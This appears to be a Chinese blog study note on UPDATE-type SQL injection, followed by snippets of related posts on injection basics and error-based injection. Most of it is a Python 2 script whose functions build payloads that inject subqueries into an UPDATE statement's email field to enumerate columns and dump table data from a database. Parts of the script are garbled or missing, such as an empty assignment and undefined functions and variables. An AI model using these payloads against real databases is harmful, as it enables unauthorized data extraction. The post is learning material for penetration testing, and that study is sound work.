滲透測試之Update型注入學習筆記

2021-09-20 05:27:21 字數 3271 閱讀 5732

參考實驗:

sqlupdateattack.py

#!/usr/bin/python

# -*- coding: utf-8 -*-

import htmlparser

import urlparse

import urllib

import urllib2

import cookielib

import string

import binascii

import re

import time

#擷取字串中startstr,endstr中間的值

def getmiddlestr(content,startstr,endstr):

patternstr = r'%s(.+?)%s'%(startstr,endstr)

p = re.compile(patternstr,re.s)

m= re.search(p,content)

if m:

return m.group(1)

#跑錶數量

def count(table_name,mode):

if mode==0:

tn16=binascii.b2a_hex(table_name.encode("utf8"))

sql_count='1.1.1.1\',email=(select count(column_name) from information_schema.columns where table_name=0x'+tn16+' and table_schema=database()) where username=\'admin\'#'

else:

if table_name=='testuser':

sql_count='1.1.1.1\',email=(select count(*) from ( select * from testuser) as x) where username=\'admin\'#'

else:

sql_count='1.1.1.1\',email=(select count(*) from '+table_name+') where username=\'admin\'#'

return sql_count

#跑錶的列名用到的sql注入語句

def sql_column(table_name,num):

tn16=binascii.b2a_hex(table_name.encode("utf8"))

sql_column='1.1.1.1\',email=(select column_name from information_schema.columns where table_name=0x'+tn16+' limit '+str(num)+',1 ) where username=\'admin\'#'

return sql_column

#跑錶的內容

def sql_data(table_name,column,num):

sql_data='1.1.1.1\',email=(select '+column+' from '+table_name+' order by id limit '+str(num)+',1) where username=\'admin\'#'

return sql_data

#跑錶的內容(與update所用表(即演示中的testuser表)衝突使用)

def sql_users(column,num):

sql_users='1.1.1.1\',email=(select '+column+' from ( select * from testuser) as x order by id limit '+str(num)+',1) where username=\'admin\'#'

return sql_users

#注入,先模擬登陸後擷取結果並寫入檔案

#先跑錶的各欄位名,並存放到臨時的column_name中

column_name=

for table in table_name:

sql_count=inject(posturl,count(table,0))

print table+":\r\n"

for num in range(int(sql_count)):

sql=sql_column(table,num)

try:

m=inject(posturl,sql)

except typeerror:

print 'error'

print column_name

#跑對應的資料

for column in column_name:

print table+"|||"+column+":"

for num in range(int(inject(posturl,count(table,1)))):

if table=='testuser':

sql=sql_users(column,num)

else:

sql=sql_data(table,column,num)

m=inject(posturl,sql)

print m

print "\n"

滲透測試之Update型注入學習筆記

參考實驗 sqlupdateattack.py usr bin python coding utf 8 import htmlparser import urlparse import urllib import urllib2 import cookielib import string impo...

滲透測試基礎之sql注入

1 什麼是sql注入?sql注入攻擊是通過將惡意的sql查詢或新增語句插入到應用的輸入引數中,再在後台sql伺服器上解析執行進行的攻擊,它目前是黑客對資料庫進行攻擊的最常用的手段之一。2 sql注入能帶來的威脅?猜解後台資料庫,這是利用最多的方式,盜取 的敏感資訊。繞過認證,列如繞過驗證登入 後台。...

滲透測試 報錯注入

由於後台沒有對資料庫的資訊做過濾,會輸出到前台顯示,那麼我們就可以通過製造報錯函式,將查詢語句帶入到資料庫中,以報錯資訊顯示出來。1 引數使用者可控 前端傳入的引數內容由使用者控制 2 引數帶入資料庫的查詢 傳入的引數拼接到 sql 語句,並且帶入資料庫的查詢 3 對使用者輸入的資料沒有做合法性的判...